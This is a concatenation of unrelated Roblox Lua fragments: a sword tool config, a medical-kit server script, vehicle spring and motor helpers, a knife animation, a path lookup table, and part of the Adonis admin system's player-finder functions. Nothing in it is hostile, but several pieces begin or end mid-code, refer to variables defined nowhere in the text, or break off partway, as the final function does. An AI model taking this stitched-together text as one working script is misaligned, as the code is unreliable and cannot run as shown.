local Properties = { DamageMode = "Normal", --What mode to reference the damage tables listed below Special = true,--The internal logical indicator to determine if we can use our special. Special_Reload = 10, --The Cooldown time until the ability is ready to be used. SpeedCap = 30, --This is the wielder's walkspeed when equipped DamageValues = { Normal = { Min = 10, Max = 50, }, Lunge = { Min = 7, Max = 10 } } } local FindFirstChild, FindFirstChildOfClass, WaitForChild = script.FindFirstChild, script.FindFirstChildOfClass, script.WaitForChild local Clone, Destroy = script.Clone, script.Destroy local GetChildren = script.GetChildren local IsA = script.IsA local Tool = script.Parent Tool.Enabled = true local DefaultGrip = FindFirstChild(Tool, "DefaultGrip") if not DefaultGrip then -- Create a new grip reference DefaultGrip = Instance.new("CFrameValue") DefaultGrip.Name = "DefaultGrip" DefaultGrip.Value = Tool.Grip DefaultGrip.Parent = Tool end Tool.Grip = DefaultGrip.Value --Reset the Tool's grip values to the DefaultGrip Value local Handle = WaitForChild(Tool, "Handle") pcall(function() Handle["Sparkle_Large_Blue"].Enabled = true --We're gonna use this as our visual indicator for our special. end) local Sounds = { Equip = WaitForChild(Handle, "Equip"), Slash = WaitForChild(Handle, "Slash"), Lunge = WaitForChild(Handle, "Lunge") } local Players = (game:FindService("Players") or game:GetService("Players")) local Debris = (game:FindService("Debris") or game:GetService("Debris")) local RunService = (game:FindService("RunService") or game:GetService("RunService")) local ServerScriptService = (game:FindService("ServerScriptService") or game:GetService("ServerScriptService")) local NewRay = Ray.new
--MainScriptValues
local Color = Color3.fromRGB(99, 95, 98) local CodeT1 = script.Parent.Code1 local CodeT2 = script.Parent.Code2 local CodeT3 = script.Parent.Code3 local CodeT1C = script.Parent.Code1.ClickDetector local CodeT2C = script.Parent.Code2.ClickDetector local CodeT3C = script.Parent.Code3.ClickDetector
------------------------------------------------------------------------ ------------------------------------------------------------------------ ------------------------------------------------------------------------
local Functions = Evt.MedSys local FunctionsMulti = Evt.MedSys.Multi local Compress = Functions.Compress local Bandage = Functions.Bandage local Splint = Functions.Splint local PainKiller = Functions.PainKiller local Energetic = Functions.Energetic local Tourniquet = Functions.Tourniquet local Compress_Multi = FunctionsMulti.Compress local Bandage_Multi = FunctionsMulti.Bandage local Splint_Multi = FunctionsMulti.Splint local Epinephrine_Multi = FunctionsMulti.Epinephrine local Morphine_Multi = FunctionsMulti.Morphine local BloodBag_Multi = FunctionsMulti.BloodBag local Tourniquet_Multi = FunctionsMulti.Tourniquet local Algemar = Functions.Algemar local Fome = Functions.Fome local Stance = Evt.MedSys.Stance local Collapse = Functions.Collapse local Reset = Functions.Reset local TS = game:GetService("TweenService") Compress.OnServerEvent:Connect(function(player) local Human = player.Character.Humanoid local enabled = Human.Parent.Saude.Variaveis.Doer local MLs = Human.Parent.Saude.Variaveis.MLs local Caido = Human.Parent.Saude.Stances.Caido if enabled.Value == false and Caido.Value == false then if MLs.Value >= 2 then enabled.Value = true wait(.3) MLs.Value = 1 wait(5) enabled.Value = false end end end) Bandage.OnServerEvent:Connect(function(player) local Human = player.Character.Humanoid local enabled = Human.Parent.Saude.Variaveis.Doer local Sangrando = Human.Parent.Saude.Stances.Sangrando local MLs = Human.Parent.Saude.Variaveis.MLs local Caido = Human.Parent.Saude.Stances.Caido local Ferido = Human.Parent.Saude.Stances.Ferido local Bandagens = Human.Parent.Saude.Kit.Bandagem if enabled.Value == false and Caido.Value == false then if Bandagens.Value >= 1 and Sangrando.Value == true then enabled.Value = true wait(.3) Sangrando.Value = false Bandagens.Value = Bandagens.Value - 1 wait(2) enabled.Value = false end end end) Splint.OnServerEvent:Connect(function(player) local Human = player.Character.Humanoid local enabled = Human.Parent.Saude.Variaveis.Doer local Sangrando = Human.Parent.Saude.Stances.Sangrando local MLs = Human.Parent.Saude.Variaveis.MLs local Caido = Human.Parent.Saude.Stances.Caido local Ferido = Human.Parent.Saude.Stances.Ferido local Bandagens = Human.Parent.Saude.Kit.Splint if enabled.Value == false and Caido.Value == false then if Bandagens.Value >= 1 and Ferido.Value == true then enabled.Value = true wait(.3) Ferido.Value = false Bandagens.Value = Bandagens.Value - 1 wait(2) enabled.Value = false end end end) PainKiller.OnServerEvent:Connect(function(player) local Human = player.Character.Humanoid local enabled = Human.Parent.Saude.Variaveis.Doer local Sangrando = Human.Parent.Saude.Stances.Sangrando local MLs = Human.Parent.Saude.Variaveis.MLs local Dor = Human.Parent.Saude.Variaveis.Dor local Caido = Human.Parent.Saude.Stances.Caido local Ferido = Human.Parent.Saude.Stances.Ferido local Bandagens = Human.Parent.Saude.Kit.Aspirina if enabled.Value == false and Caido.Value == false then if Bandagens.Value >= 1 and Dor.Value >= 1 then enabled.Value = true wait(.3) Dor.Value = Dor.Value - math.random(60,75) Bandagens.Value = Bandagens.Value - 1 wait(2) enabled.Value = false end end end) Energetic.OnServerEvent:Connect(function(player) local Human = player.Character.Humanoid local enabled = Human.Parent.Saude.Variaveis.Doer local Sangrando = Human.Parent.Saude.Stances.Sangrando local MLs = Human.Parent.Saude.Variaveis.MLs local Dor = Human.Parent.Saude.Variaveis.Dor local Caido = Human.Parent.Saude.Stances.Caido local Ferido = Human.Parent.Saude.Stances.Ferido local Bandagens = Human.Parent.Saude.Kit.Energetico --local Energia = Human.Parent.Saude.Variaveis.Energia if enabled.Value == false and Caido.Value == false then if Human.Health < Human.MaxHealth then enabled.Value = true wait(.3) Human.Health = Human.Health + (Human.MaxHealth/3) --Energia.Value = Energia.Value + (Energia.MaxValue/3) Bandagens.Value = Bandagens.Value - 1 wait(2) enabled.Value = false end end end) Tourniquet.OnServerEvent:Connect(function(player) local Human = player.Character.Humanoid local enabled = Human.Parent.Saude.Variaveis.Doer local Sangrando = Human.Parent.Saude.Stances.Sangrando local MLs = Human.Parent.Saude.Variaveis.MLs local Dor = Human.Parent.Saude.Variaveis.Dor local Caido = Human.Parent.Saude.Stances.Caido local Ferido = Human.Parent.Saude.Stances.Ferido local Bandagens = Human.Parent.Saude.Kit.Tourniquet if Human.Parent.Saude.Stances.Tourniquet.Value == false then if enabled.Value == false and Sangrando.Value == true and Bandagens.Value > 0 then enabled.Value = true wait(.3) Human.Parent.Saude.Stances.Tourniquet.Value = true Bandagens.Value = Bandagens.Value - 1 wait(2) enabled.Value = false end else if enabled.Value == false then enabled.Value = true wait(.3) Human.Parent.Saude.Stances.Tourniquet.Value = false Bandagens.Value = Bandagens.Value + 1 wait(2) enabled.Value = false end end end)
-- @author Mark Otaris (ColorfulBody, JulienDethurens) and Quenty -- Last modified December 28th, 2013
----- Skin -----
local Skin = Inventory:WaitForChild("Gold") -- CHANGE
------------------------------------------------------------
local TwinService = game:GetService("TweenService") local AnimationHighLight = TweenInfo.new(2, Enum.EasingStyle.Sine ,Enum.EasingDirection.InOut) local Info1 = {Position = Vector3.new(pos1,Positionn,pos3)} local Info2 = {Position = Vector3.new(pos1,Positionn2,pos3)} local AnimkaUp = TwinService:Create(Danger, AnimationHighLight, Info1 ) local AnimkaDown = TwinService:Create(Danger, AnimationHighLight, Info2 ) while true do AnimkaDown:Play() wait(2) AnimkaUp:Play() wait(2) end
--[[ Private Functions ]]
-- local function getVehicleMotors() local motors = {} for _, c in pairs(constraints:GetChildren()) do if c:IsA("CylindricalConstraint") then table.insert(motors, c) end end return motors end local function getSprings(springType) local springs = {} local trailer = PackagedVehicle:FindFirstChild("Trailer") local function search(children) local searchStrutSpring = "StrutSpring" local searchFrontSpring = "StrutSpringF" local searchTorsionSpring = "TorsionBarSpring" for _, c in pairs(children) do if c:IsA("SpringConstraint") then if springType == "StrutFront" then if string.find(c.Name, searchFrontSpring) then table.insert(springs, c) end elseif springType == "StrutRear" then if (not string.find(c.Name, searchFrontSpring)) and string.find(c.Name, searchStrutSpring) then table.insert(springs, c) -- we have option of Mid and Rear for these end elseif springType == "TorsionBar" then if string.find(c.Name, searchTorsionSpring) then table.insert(springs, c) end end end end end search(constraints:GetChildren()) if trailer then search(trailer.Constraints:GetChildren()) end return springs end local function getMotorVelocity(motor) return motor.Attachment1.WorldAxis:Dot( motor.Attachment1.Parent.RotVelocity ) end local function adjustSpring( spring, stiffness, damping ) spring.Stiffness = stiffness spring.Damping = damping end local function setMotorTorque(torque) for _, motor in pairs(Motors) do motor.MotorMaxTorque = torque end end local function setMotorTorqueDamped(torque, velocityDirection, accelDirection) for _, motor in pairs(Motors) do if VehicleParameters.MaxSpeed == 0 then motor.MotorMaxTorque = 0 else local maxSpeed = VehicleParameters.MaxSpeed if accelDirection < 0 and velocityDirection < 0 then maxSpeed = VehicleParameters.ReverseSpeed end local r = math.abs(Chassis.driverSeat.Velocity.Magnitude / maxSpeed) motor.MotorMaxTorque = math.exp( -3 * r * r ) * torque end end end local function setMotorMaxAcceleration(acceleration) for _, motor in pairs(Motors) do motor.MotorMaxAngularAcceleration = acceleration end end
--------------------[ KNIFING FUNCTION ]----------------------------------------------
function KnifeAnim() local Connection = nil local Blade = Instance.new("Part") Blade.BrickColor = BrickColor.new("Really black") Blade.Name = "Blade" Blade.CanCollide = false Blade.FormFactor = Enum.FormFactor.Custom Blade.Size = VEC3(0.5, 2.5, 1) local Mesh = Instance.new("SpecialMesh") Mesh.MeshId = S.KnifeMeshId Mesh.MeshType = Enum.MeshType.FileMesh Mesh.Scale = VEC3(0.7, 0.7, 0.7) Mesh.TextureId = S.KnifeTextureId Mesh.Parent = Blade Blade.Parent = Gun_Ignore local BladeWeld = Instance.new("Weld") BladeWeld.Part0 = Blade BladeWeld.Part1 = FakeLArm BladeWeld.C0 = CFANG(RAD(-90), 0, RAD(180)) BladeWeld.C1 = CF(0, -1, 0.75) BladeWeld.Parent = Blade Connection = Blade.Touched:connect(function(Obj) if Obj then local HitHumanoid = FindFirstClass(Obj.Parent, "Humanoid") if HitHumanoid and IsEnemy(HitHumanoid) then local CreatorTag = Instance.new("ObjectValue") CreatorTag.Name = "creator" CreatorTag.Value = Player CreatorTag.Parent = HitHumanoid HitHumanoid:TakeDamage(HitHumanoid.MaxHealth) MarkHit() end end end) TweenJoint(LWeld2, CF(), CFANG(0, RAD(90), 0), Linear, 0.05) TweenJoint(LWeld, ArmC0[1], CF(-0.1, 0.2, -0.1) * CFANG(0, 0, RAD(-20)), Linear, 0.05) TweenJoint(RWeld, ArmC0[2], CFANG(RAD(-30), 0, 0), Linear, 0.1) TweenJoint(Grip, Grip.C0, CF(), Linear, 0.1) spawn(function() local Force = HRP.CFrame.lookVector * 8e4 local BF = Instance.new("BodyForce") BF.force = Force BF.Parent = HRP delay(0.03, function() BF.force = -Force / 2 wait(0.03) BF:Destroy() end) end) wait(0.05) RotCamera(RAD(6), 0, true, 0.1) delay(0.1, function() RotCamera(RAD(-2), 0, true, 0.05) end) TweenJoint(LWeld, ArmC0[1], CF(0.8, 1.7, 0.2) * CFANG(0, 0, RAD(-80)), Linear, 0.06) wait(0.2) Connection:disconnect() wait(0.2) TweenJoint(LWeld2, CF(), CF(), Linear, 0.15) TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Linear, 0.15) TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Linear, 0.15) Blade:Destroy() end
--[=[ Requires all children ModuleScripts @param parent Instance -- Parent to scan @return {ModuleScript} -- Array of required modules ]=]
function Loader.LoadChildren(parent: Instance): Modules local modules: Modules = {} for _,child in ipairs(parent:GetChildren()) do if child:IsA("ModuleScript") then local m = require(child) table.insert(modules, m) end end return modules end
--make room for new data
script.Parent.Parent.AgeBox.Text="" script.Parent.Parent.NameBox.Text="" script.Parent.Parent.UserIDBox.Text="" end script.Parent.MouseButton1Click:connect(isclicked)
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58},t}, [49]={{24,25,26,27,28,44,45,49},t}, [16]={n,f}, [19]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19},t}, [59]={{24,25,26,27,28,29,31,32,34,35,39,41,59},t}, [63]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t}, [34]={{24,25,26,27,28,29,31,32,34},t}, [21]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,21},t}, [48]={{24,25,26,27,28,44,45,49,48},t}, [27]={{24,25,26,27},t}, [14]={n,f}, [31]={{24,25,26,27,28,29,31},t}, [56]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56},t}, [29]={{24,25,26,27,28,29},t}, [13]={n,f}, [47]={{24,25,26,27,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{24,25,26,27,28,44,45},t}, [57]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,57},t}, [36]={{24,25,26,27,28,29,31,32,33,36},t}, [25]={{24,25},t}, [71]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71},t}, [20]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20},t}, [60]={{24,25,26,27,28,29,31,32,34,35,39,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71,72,76,73,75},t}, [22]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,21,22},t}, [74]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71,72,76,73,74},t}, [62]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{24,25,26,27,28,29,31,32,33,36,37},t}, [2]={n,f}, [35]={{24,25,26,27,28,29,31,32,34,35},t}, [53]={{24,25,26,27,28,44,45,49,48,47,52,53},t}, [73]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71,72,76,73},t}, [72]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71,72},t}, [33]={{24,25,26,27,28,29,31,32,33},t}, [69]={{24,25,26,27,28,29,31,32,34,35,39,41,60,69},t}, [65]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t}, [26]={{24,25,26},t}, [68]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t}, [76]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61,71,72,76},t}, [50]={{24,25,26,27,28,44,45,49,48,47,50},t}, [66]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{24},t}, [23]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,23},t}, [44]={{24,25,26,27,28,44},t}, [39]={{24,25,26,27,28,29,31,32,34,35,39},t}, [32]={{24,25,26,27,28,29,31,32},t}, [3]={n,f}, [30]={{24,25,26,27,28,29,31,32,34,35,39,41,30},t}, [51]={{24,25,26,27,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t}, [61]={{24,25,26,27,28,29,31,32,34,35,39,41,59,61},t}, [55]={{24,25,26,27,28,44,45,49,48,47,52,53,54,55},t}, [46]={{24,25,26,27,28,44,45,49,48,47,46},t}, [42]={{24,25,26,27,28,29,31,32,34,35,38,42},t}, [40]={{24,25,26,27,28,29,31,32,34,35,40},t}, [52]={{24,25,26,27,28,44,45,49,48,47,52},t}, [54]={{24,25,26,27,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{24,25,26,27,28,29,31,32,34,35,39,41},t}, [17]={n,f}, [38]={{24,25,26,27,28,29,31,32,34,35,38},t}, [28]={{24,25,26,27,28},t}, [5]={n,f}, [64]={{24,25,26,27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64},t}, } return r
--[[ @brief Sums all elements in a table. @param t A table of numbers. @return The total sum of all numbers in t. --]]
function module.Sum(t, n) local sum = 0; if n then for i = 1, n do sum = sum + t[i>#t and #t or i] or 0; end else for i, v in pairs(t) do sum = sum + v; end end return sum; end
--[[Weight and CG]]
Tune.Weight = 3400 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible
--// Function stuff
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server local service = Vargs.Service local cPcall = env.cPcall local logError local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings local function Init() Functions = server.Functions; Admin = server.Admin; Anti = server.Anti; Core = server.Core; HTTP = server.HTTP; Logs = server.Logs; Remote = server.Remote; Process = server.Process; Variables = server.Variables; Settings = server.Settings; logError = server.logError; Functions.Init = nil Logs:AddLog("Script", "Functions Module Initialized") end; local function RunAfterPlugins(data) --// AutoClean if Settings.AutoClean then service.StartLoop("AUTO_CLEAN", Settings.AutoCleanDelay, Functions.CleanWorkspace, true) end Functions.RunAfterPlugins = nil Logs:AddLog("Script", "Functions Module RunAfterPlugins Finished") end server.Functions = { Init = Init; RunAfterPlugins = RunAfterPlugins; PlayerFinders = { ["me"] = { Match = "me"; Prefix = true; Absolute = true; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) table.insert(players, plr) plus() end; }; ["all"] = { Match = "all"; Prefix = true; Absolute = true; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) local everyone = true if isKicking then local lower = string.lower local sub = string.sub for _,v in parent:GetChildren() do local p = getplr(v) if p and sub(lower(p.Name), 1, #msg)==lower(msg) then everyone = false table.insert(players, p) plus() end end end if everyone then for _,v in parent:GetChildren() do local p = getplr(v) if p then table.insert(players, p) plus() end end end end; }; ["everyone"] = { Match = "everyone"; Absolute = true; Pefix = true; Function = function(...) return Functions.PlayerFinders.all.Function(...) end }; ["others"] = { Match = "others"; Prefix = true; Absolute = true; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) for _,v in parent:GetChildren() do local p = getplr(v) if p and p ~= plr then table.insert(players, p) plus() end end end; }; ["random"] = { Match = "random"; Prefix = true; Absolute = true; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) table.insert(randplayers, "random") plus() end; }; ["admins"] = { Match = "admins"; Prefix = true; Absolute = true; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) for _,v in parent:GetChildren() do local p = getplr(v) if p and Admin.CheckAdmin(p,false) then table.insert(players, p) plus() end end end; }; ["nonadmins"] = { Match = "nonadmins"; Prefix = true; Absolute = true; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) for _,v in parent:GetChildren() do local p = getplr(v) if p and not Admin.CheckAdmin(p,false) then table.insert(players, p) plus() end end end; }; ["friends"] = { Match = "friends"; Prefix = true; Absolute = true; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) for _,v in parent:GetChildren() do local p = getplr(v) if p and p:IsFriendsWith(plr.UserId) then table.insert(players, p) plus() end end end; }; ["@username"] = { Match = "@"; Prefix = false; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) local matched = string.match(msg, "@(.*)") local foundNum = 0 if matched then for _,v in parent:GetChildren() do local p = getplr(v) if p and p.Name == matched then table.insert(players, p) plus() foundNum += 1 end end end end; }; ["%team"] = { Match = "%"; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) local matched = string.match(msg, "%%(.*)") local lower = string.lower local sub = string.sub if matched and #matched > 0 then for _,v in service.Teams:GetChildren() do if sub(lower(v.Name), 1, #matched) == lower(matched) then for _,m in parent:GetChildren() do local p = getplr(m) if p and p.TeamColor == v.TeamColor then table.insert(players, p) plus() end end end end end end; }; ["$group"] = { Match = "$"; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) local matched = string.match(msg, "%$(.*)") if matched and tonumber(matched) then for _,v in parent:GetChildren() do local p = getplr(v) if p and p:IsInGroup(tonumber(matched)) then table.insert(players, p) plus() end end end end; }; ["id-"] = { Match = "id-"; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) local matched = tonumber(string.match(msg, "id%-(.*)")) local foundNum = 0 if matched then for _,v in parent:GetChildren() do local p = getplr(v) if p and p.UserId == matched then table.insert(players, p) plus() foundNum += 1 end end if foundNum == 0 and useFakePlayer then local ran, name = pcall(service.Players.GetNameFromUserIdAsync, service.Players, matched) if ran or allowUnknownUsers then local fakePlayer = Functions.GetFakePlayer({ UserId = matched, Name = name, }) table.insert(players, fakePlayer) plus() end end end end; }; ["displayname-"] = { Match = "displayname-"; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) local matched = tonumber(string.match(msg, "displayname%-(.*)")) local foundNum = 0 if matched then for _,v in parent:GetChildren() do local p = getplr(v) if p and p.DisplayName == matched then table.insert(players, p) plus() foundNum += 1 end end end end; }; ["team-"] = { Match = "team-"; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) local lower = string.lower local sub = string.sub local matched = string.match(msg, "team%-(.*)") if matched then for _,v in service.Teams:GetChildren() do if sub(lower(v.Name), 1, #matched) == lower(matched) then for _,m in parent:GetChildren() do local p = getplr(m) if p and p.TeamColor == v.TeamColor then table.insert(players, p) plus() end end end end end end; }; ["group-"] = { Match = "group-"; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) local matched = string.match(msg, "group%-(.*)") matched = tonumber(matched) if matched then for _,v in parent:GetChildren() do local p = getplr(v) if p and p:IsInGroup(matched) then table.insert(players, p) plus() end end end end; }; ["-name"] = { Match = "-"; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) local matched = string.match(msg, "%-(.*)") if matched then local removes = service.GetPlayers(plr,matched, { DontError = true; }) for k,p in removes do if p then table.insert(delplayers,p) plus() end end end end; }; ["+name"] = { Match = "+"; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) local matched = string.match(msg, "%+(.*)") if matched then local adds = service.GetPlayers(plr,matched, { DontError = true; }) for k,p in adds do if p then table.insert(addplayers,p) plus() end end end end; }; ["#number"] = { Match = "#"; Function = function(msg, plr, ...) local matched = msg:match("%#(.*)") if matched and tonumber(matched) then local num = tonumber(matched) if not num then Remote.MakeGui(plr,'Output',{Title = 'Output'; Message = "Invalid number!"}) return; end for i = 1,num do Functions.PlayerFinders.random.Function(msg, plr, ...) end end end; }; ["radius-"] = { Match = "radius-"; Function = function(msg, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, isKicking, useFakePlayer, allowUnknownUsers) local matched = msg:match("radius%-(.*)") if matched and tonumber(matched) then local num = tonumber(matched) if not num then Remote.MakeGui(plr, "Output", {Message = "Invalid number!"}) return; end for _,v in parent:GetChildren() do local p = getplr(v) if p and p ~= plr and plr:DistanceFromCharacter(p.Character.Head.Position) <= num then table.insert(players,p) plus() end end end end; }; }; CatchError = function(func, ...) local ret = {pcall(func, ...)} if not ret[1] then logError(ret[2] or "Unknown error occurred") else return unpack(ret, 2) end end; GetFakePlayer = function(options) local fakePlayer = service.Wrap(service.New("Folder", { Name = options.Name or "Fake_Player"; })) local data = { ClassName = "Player"; Name = "[Unknown User]"; DisplayName = "[Unknown User]"; UserId = 0; AccountAge = 0; MembershipType = Enum.MembershipType.None; CharacterAppearanceId = if options.UserId then tostring(options.UserId) else "0"; FollowUserId = 0; GameplayPaused = false; Parent = service.Players; Character = service.New("Model", {Name = options.Name or "Fake_Player"}); Backpack = service.New("Folder", {Name = "FakeBackpack"}); PlayerGui = service.New("Folder", {Name = "FakePlayerGui"}); PlayerScripts = service.New("Folder", {Name = "FakePlayerScripts"}); GetJoinData = function() return {} end; GetFriendsOnline = function() return {} end; GetRankInGroup = function() return 0 end; GetRoleInGroup = function() return "Guest" end; IsFriendsWith = function() return false end; Kick = function() fakePlayer:Destroy() fakePlayer:SetSpecial("Parent", nil) end; IsA = function(_, className) return className == "Player" end; } for i, v in options do data[i] = v end if data.UserId ~= -1 then local success, actualName = pcall(service.Players.GetNameFromUserIdAsync, service.Players, data.UserId) if success then data.Name = actualName end end data.userId = data.UserId data.ToString = data.Name for i, v in data do fakePlayer:SetSpecial(i, v) end return fakePlayer end; GetChatService = function() local isTextChat = service.TextChatService.ChatVersion == Enum.ChatVersion.TextChatService local chatHandler = service.ServerScriptService:WaitForChild("ChatServiceRunner", isTextChat and 0.2 or 120) local chatMod = chatHandler and chatHandler:WaitForChild("ChatService", isTextChat and 0.2 or 120) if chatMod then return require(chatMod) end return nil end; IsClass = function(obj, classList) for _,class in classList do if obj:IsA(class) then return true end end return false end; ArgsToString = function(args) local str = "" for i, arg in args do str ..= `Arg{i}: {arg}; ` end return str:sub(1, -3) end; GetPlayers = function(plr, argument, options) options = options or {} local parent = options.Parent or service.Players local players = {} local delplayers = {} local addplayers = {} local randplayers = {} local function getplr(p) if p then if p.ClassName == "Player" then return p elseif p:IsA("NetworkReplicator") then local networkPeerPlayer = p:GetPlayer() if networkPeerPlayer and networkPeerPlayer.ClassName == "Player" then return networkPeerPlayer end end end return nil end local function checkMatch(msg) msg = string.lower(msg) local doReturn local PlrLevel = if plr then Admin.GetLevel(plr) else 0 for _, data in Functions.PlayerFinders do if not data.Level or (data.Level and PlrLevel >= data.Level) then local check = ((data.Prefix and Settings.SpecialPrefix) or "")..data.Match if (data.Absolute and msg == check) or (not data.Absolute and string.sub(msg, 1, #check) == string.lower(check)) then if data.Absolute then return data else --// Prioritize absolute matches over non-absolute matches doReturn = data end end end end return doReturn end if plr == nil then --// Select all players for _, v in parent:GetChildren() do local p = getplr(v) if p then table.insert(players, p) end end elseif plr and not argument then --// Default to the executor ("me") return {plr} else if argument:match("^##") then error(`String passed to GetPlayers is filtered: {argument}`, 2) end for s in argument:gmatch("([^,]+)") do local plrCount = 0 local function plus() plrCount += 1 end if not options.NoSelectors then local matchFunc = checkMatch(s) if matchFunc then matchFunc.Function( s, plr, parent, players, delplayers, addplayers, randplayers, getplr, plus, options.IsKicking, options.IsServer, options.DontError, not options.NoFakePlayer, options.AllowUnknownUsers ) end end if plrCount == 0 then --// Check for display names for _, v in parent:GetChildren() do local p = getplr(v) if p and p.ClassName == "Player" and p.DisplayName:lower():match(`^{s}`) then table.insert(players, p) plus() end end if plrCount == 0 then --// Check for usernames for _, v in parent:GetChildren() do local p = getplr(v) if p and p.ClassName == "Player" and p.Name:lower():match(`^{s}`) then table.insert(players, p) plus() end end if plrCount == 0 then if not options.NoFakePlayer then --// Attempt to retrieve non-ingame user local UserId = Functions.GetUserIdFromNameAsync(s) if UserId or options.AllowUnknownUsers then table.insert(players, Functions.GetFakePlayer({ Name = s; DisplayName = s; UserId = UserId or -1; })) plus() end end if plrCount == 0 and not options.DontError then Remote.MakeGui(plr, "Output", { Message = if not options.NoFakePlayer then `No user named '{s}' exists` else `No players matching '{s}' were found!`; }) end end end end end end --// The following is intended to prevent name spamming (eg. :re scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel...) --// It will also prevent situations where a player falls within multiple player finders (eg. :re group-1928483,nonadmins,radius-50 (one player can match all 3 of these)) --// Edited to adjust removals and randomizers. local filteredList = {} local checkList = {} for _, v in players do if not checkList[v] then table.insert(filteredList, v) checkList[v] = true end end local delFilteredList = {} local delCheckList = {} for _, v in delplayers do if not delCheckList[v] then table.insert(delFilteredList, v) delCheckList[v] = true end end local addFilteredList = {} local addCheckList = {} for _, v in addplayers do if not addCheckList[v] then table.insert(addFilteredList, v) addCheckList[v] = true end end local removalSuccessList = {} for i, v in filteredList do for j, w in delFilteredList do if v.Name == w.Name then table.remove(filteredList,i) table.insert(removalSuccessList, w) end end end for j, w in addFilteredList do table.insert(filteredList, w) end local checkList2 = {} local finalFilteredList = {} for _, v in filteredList do if not checkList2[v] then table.insert(finalFilteredList, v) checkList2[v] = true end end local comboTableCheck = {} for _, v in finalFilteredList do table.insert(comboTableCheck, v) end for _, v in delFilteredList do table.insert(comboTableCheck, v) end local function rplrsort() local children = parent:GetChildren() local childcount = #children local excludecount = #comboTableCheck if excludecount < childcount then local rand = children[math.random(#children)] local rp = getplr(rand) for _, v in comboTableCheck do if v.Name == rp.Name then rplrsort() return end end table.insert(finalFilteredList, rp) local comboTableCheck = {} for _, v in finalFilteredList do table.insert(comboTableCheck, v) end for _, v in delFilteredList do table.insert(comboTableCheck, v) end end end for i, v in randplayers do rplrsort() end return finalFilteredList end; GetRandom = function(pLen) --local str = "" --for i=1,math.random(5,10) do str=str..string.char(math.random(33,90)) end --return str local random = math.random local format = string.format local res = {} for i = 1, if type(pLen) == "number" then pLen else random(5, 10) do res[i] = format("%02x", random(126)) end return table.concat(res) end; AdonisEncrypt = function(key) local ae_info = { version = "1"; ver_codename = "aencrypt_xorB64"; ver_full = "v1_AdonisEncrypt"; } --return 